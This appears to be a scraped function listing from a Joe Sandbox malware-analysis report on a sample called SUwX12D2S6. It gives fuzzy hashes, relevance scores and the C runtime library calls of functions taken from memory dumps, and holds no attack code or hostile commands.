Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 07c562354b363e173b9d565b3c086b4290dc5682e853a23bd072b74fe533f8b1
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 15810676A10B669BD754CF2AD8C04AAFBF1FB08210B518A3ADCA583B41D334F565CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E19120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: e0d4ed902be7c716c9c2af3ca8d7ac1dbf967c73cf81fb8eb3cc13f4fbfae5af
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 9661A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05E17A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: ffffe759bc42675020e2af6e3737aff39108418b4764261f787e2e9a2bbfea67
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: DB617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05E17880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 8d331febacaf50e5c69270a01f8d64fe2f216b5eb66b2a2813c7d37b059f746e
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: E751DD329257B945EBC3DA3D88504AEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05E17220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0459C71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0459B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_459b000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: f2ef880d66a7c29a416e610179a4ae9189bd4413645a66469debd293a33bd2cf
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 233146758062469FDF16CF70E890AB5BBB0FF87324F18899CD0818B106D3356446E794

Uniqueness

Uniqueness Score: -1.00%

Function 05E170E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05E17393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: fa9cb43d33d16682d617efa5c8607419cef43015cca757894728b4fda1a4b9dd
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 093126706183419FD741EF29D480A4BF7E1FFC8698F01E919F9889B221D730E985CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05E318D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 4054d942042118016c10fd13c94e964d35992cac2aea05852b96b4e2e6f9369c
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 2C11087724914243F71CC62ED8BE5B6E396FBC6229B2D627ED1C34B658F122E145D600

Uniqueness

Uniqueness Score: -1.00%

Function 05E1B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: b8b70fa2a26b2541fd30540294945ff5a6bd451f6176ac78cad57d5f3c946893
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: DA11420A4492C4BDCF424A7840E56EBFFA58E3B218F4A71DAC8C44B743D01B150FE761

Uniqueness

Uniqueness Score: -1.00%

Function 05E10042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8798a2ff3a68aad98e24be846f65b62629cfea63d8592a2f2a54282304690f17
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: E3118E72340100AFEB54DF65DC94FA673EAFB88220B1985A5ED48CB311E676E881C760

Uniqueness

Uniqueness Score: -1.00%

Function 0459B0A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0459B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_459b000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8eb3d186a5c0b3134b2d678f2803d273a89162106000eceefaddda108efb74de
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 15117072340101AFEB54DE55EC81EA673EAFB89320B198069ED08CB316E675FC42D760

Uniqueness

Uniqueness Score: -1.00%

Function 05E1A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: b9843f121d532b2ae550230a9108501345a671c381a9bd7e453f8eee1b612bc3
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 42012C768106629BD711DF3EC8C046AFBF1BB082117528B36DC9083A41D334E662DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 05E36437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E3644E

Part of subcall function 05E39636: __calloc_impl.LIBCMT ref: 05E39645

__calloc_crt.LIBCMT ref: 05E36472
_free.LIBCMT ref: 05E36480
__calloc_crt.LIBCMT ref: 05E3648E
_free.LIBCMT ref: 05E3649E
_free.LIBCMT ref: 05E364A4
__copytlocinfo_nolock.LIBCMT ref: 05E364B3
__setmbcp_nolock.LIBCMT ref: 05E364D4
_free.LIBCMT ref: 05E364E2
___removelocaleref.LIBCMT ref: 05E364E9
___freetlocinfo.LIBCMT ref: 05E364F0
_free.LIBCMT ref: 05E364F6

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 53625730914dcd4448550fdad5b8998738debf405267bdf89c5c3b3695989200
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 2B21AE36708600BEEB257F75DC0FE6B7BE5FF41764B50A42DE4C6551A0EB228550CA90

Uniqueness

Uniqueness Score: -1.00%

Function 05E33F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E33F51

Part of subcall function 05E35BA8: __getptd_noexit.LIBCMT ref: 05E35BA8

__gmtime64_s.LIBCMT ref: 05E33FEA
__gmtime64_s.LIBCMT ref: 05E34020
__gmtime64_s.LIBCMT ref: 05E3403D
__allrem.LIBCMT ref: 05E34093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E340AF
__allrem.LIBCMT ref: 05E340C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E340E4
__allrem.LIBCMT ref: 05E340FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E34119
__invoke_watson.LIBCMT ref: 05E3418A

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 33dd5a46cbbb87549c9867847f82be37fa839a3438b27da9ee30c9080acd8abf
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 2471D871B00B26ABEB249E69CC4EBAAB3B9BF14364F145539E594D66C0E770D900CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05E3650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E36547
__calloc_crt.LIBCMT ref: 05E36598
__lock.LIBCMT ref: 05E365AE
__copytlocinfo_nolock.LIBCMT ref: 05E365BF
_wcscmp.LIBCMT ref: 05E365F9
__lock.LIBCMT ref: 05E36610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E36622
___removelocaleref.LIBCMT ref: 05E36628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E36647

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 21d7df3ff28b920e7c4f132b8a1f41736740354bfcd474bc957121229470efe8
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: D7412132A04304BFEB00AFB4DC8EBAE3BE5BF04314F10643AE88596191DB728644DB11

Uniqueness

Uniqueness Score: -1.00%

Function 05E384AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E384B1
_free.LIBCMT ref: 05E384E2
_free.LIBCMT ref: 05E384F5
_free.LIBCMT ref: 05E38513
_free.LIBCMT ref: 05E38525
_free.LIBCMT ref: 05E38536
_free.LIBCMT ref: 05E38541
_free.LIBCMT ref: 05E38565
_free.LIBCMT ref: 05E38581
_free.LIBCMT ref: 05E38597
_free.LIBCMT ref: 05E385BF

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e446a8c0ede077a18fcd371ac9a8d659d4b262d9cc8e306406ed057046204090
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 6531D432A0A250EBDF255F14FC8D86977A4FB14324704A62EF9C5572A0CBB459C8EF90

Uniqueness

Uniqueness Score: -1.00%

Function 05E5FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E5FC1F

Part of subcall function 05E4169C: std::exception::_Copy_str.LIBCMT ref: 05E416B5

__CxxThrowException@8.LIBCMT ref: 05E5FC34
std::exception::exception.LIBCMT ref: 05E5FC4D
__CxxThrowException@8.LIBCMT ref: 05E5FC62
std::regex_error::regex_error.LIBCPMT ref: 05E5FC74

Part of subcall function 05E5F914: std::exception::exception.LIBCMT ref: 05E5F92E

__CxxThrowException@8.LIBCMT ref: 05E5FC82
std::exception::exception.LIBCMT ref: 05E5FC9B
__CxxThrowException@8.LIBCMT ref: 05E5FCB0

Strings

leM, xrefs: 05E5FCA8

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 99de1ab024d730440975bb6bbb1931e0b10a0232b384ae9c5066b86767343369
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1711ECB9D0020DBBCF04FFA5E459CDDBB7CAA04244B4085A6AD5897240EB74E388CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05E1F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E1F01F

Part of subcall function 05E31602: __FF_MSGBANNER.LIBCMT ref: 05E31619
Part of subcall function 05E31602: __NMSG_WRITE.LIBCMT ref: 05E31620

_malloc.LIBCMT ref: 05E1F02B
_wprintf.LIBCMT ref: 05E1F03E
_free.LIBCMT ref: 05E1F044
_free.LIBCMT ref: 05E1F065
_malloc.LIBCMT ref: 05E1F06D
_sprintf.LIBCMT ref: 05E1F0C0
_wprintf.LIBCMT ref: 05E1F0D2
_wprintf.LIBCMT ref: 05E1F0DC
_free.LIBCMT ref: 05E1F0E5

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 924a3ac7e6d16f60793cf88b0869df5a566c3b82c290b7634f74788a94cd1c57
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: FE110FB6B006607AD361A7B55C1AEFF7AEC9F46202F0810A9FED9D1180EA185A04D3B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E21960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E219C6
__CxxThrowException@8.LIBCMT ref: 05E219F1
__CxxThrowException@8.LIBCMT ref: 05E21A1A
__CxxThrowException@8.LIBCMT ref: 05E21A4B
_memset.LIBCMT ref: 05E21A6A
__CxxThrowException@8.LIBCMT ref: 05E21A90
_malloc.LIBCMT ref: 05E21AA0
_memset.LIBCMT ref: 05E21AAB
_sprintf.LIBCMT ref: 05E21ACE

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 50b85400f8f21deecbb468dfb8e40137ef6a54aaf7542c7aa668cc21b0db3087
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 16513CB1E40219ABEB11DBA5DC8AFEFBBB8FB08744F101025F945B6180E7745A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E1F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E1F284
__CxxThrowException@8.LIBCMT ref: 05E1F2AF
__CxxThrowException@8.LIBCMT ref: 05E1F2DE
__CxxThrowException@8.LIBCMT ref: 05E1F30F
_memset.LIBCMT ref: 05E1F32E
__CxxThrowException@8.LIBCMT ref: 05E1F354
_sprintf.LIBCMT ref: 05E1F373

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: ceda39a82b15302259c2795689014666782499dc75af041d43bfa147b1bce3a9
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 525170B1E40209AAEF11DFA1DC4AFEEBB78FB04704F101025F955B6180E775AA05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E1F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E1F4B7
__CxxThrowException@8.LIBCMT ref: 05E1F4E2
__CxxThrowException@8.LIBCMT ref: 05E1F504
__CxxThrowException@8.LIBCMT ref: 05E1F535
_memset.LIBCMT ref: 05E1F554
__CxxThrowException@8.LIBCMT ref: 05E1F57A
_sprintf.LIBCMT ref: 05E1F594

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: a25658e1bcd6aa1ed6f0085f8618db0a94bd8ca6c04aa38befd9a7b0fffda252
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: BE516371E40209ABDF11DFA1DC8AFFEBBB8FB48744F101129F955B6180E67469058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E5208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E520C6
__invoke_watson.LIBCMT ref: 05E52120
_strlen.LIBCMT ref: 05E520D4

Part of subcall function 05E35BA8: __getptd_noexit.LIBCMT ref: 05E35BA8

_strnlen.LIBCMT ref: 05E5215F
__lock.LIBCMT ref: 05E52170
__getenv_helper_nolock.LIBCMT ref: 05E5217B

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 9f3effae5d3db8cd8832dffcce079379412090b154e27ee9a3bf3eb4de2a13e1
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: D8312736B053256BEB216F648C0DBAF3795AF05B38F106015EF85EB280DB748900C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 05E22670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E226DB
_memset.LIBCMT ref: 05E22A30
_memset.LIBCMT ref: 05E22AC0

Strings

D, xrefs: 05E22AC8

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 8c8273f0990e7303894076bd7e83162412d95928ede1a6026fac5c86af4bb548
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 7EE18D75D00229ABDF24DFA0CC49FEEB7B9BF04304F0450A9E64AE6194EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E1D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E1D8EA

Strings

, xrefs: 05E1DADB
$, xrefs: 05E1DAE2
(, xrefs: 05E1DAE9

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 916c31e0b904cad5ed1bf5fe4d0ac8542f3f9f63a30b7e6f5152185ac68c68cd
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 1791CF71D00218AAEF21CFA0CD49BEEBBB5BF05304F145168D996772C0DBB65A48CB59

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E2A858
_memset.LIBCMT ref: 05E2A869
_memset.LIBCMT ref: 05E2A87A

Strings

p2Q, xrefs: 05E2A882

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: e1a7e07f1ebf9dd72c1a8c681bf4406c747d521a17276d31df2fe9694d117d51
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 0EF0ED78698750A5F7217750BC2FB857E917B31B08F505088E1582E2E1D3FD238CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05E5FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E5FBF1

Part of subcall function 05E4169C: std::exception::_Copy_str.LIBCMT ref: 05E416B5

__CxxThrowException@8.LIBCMT ref: 05E5FC06

Strings

TeM, xrefs: 05E5FBE7, 05E5FBFB
TeM, xrefs: 05E5FBFE

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
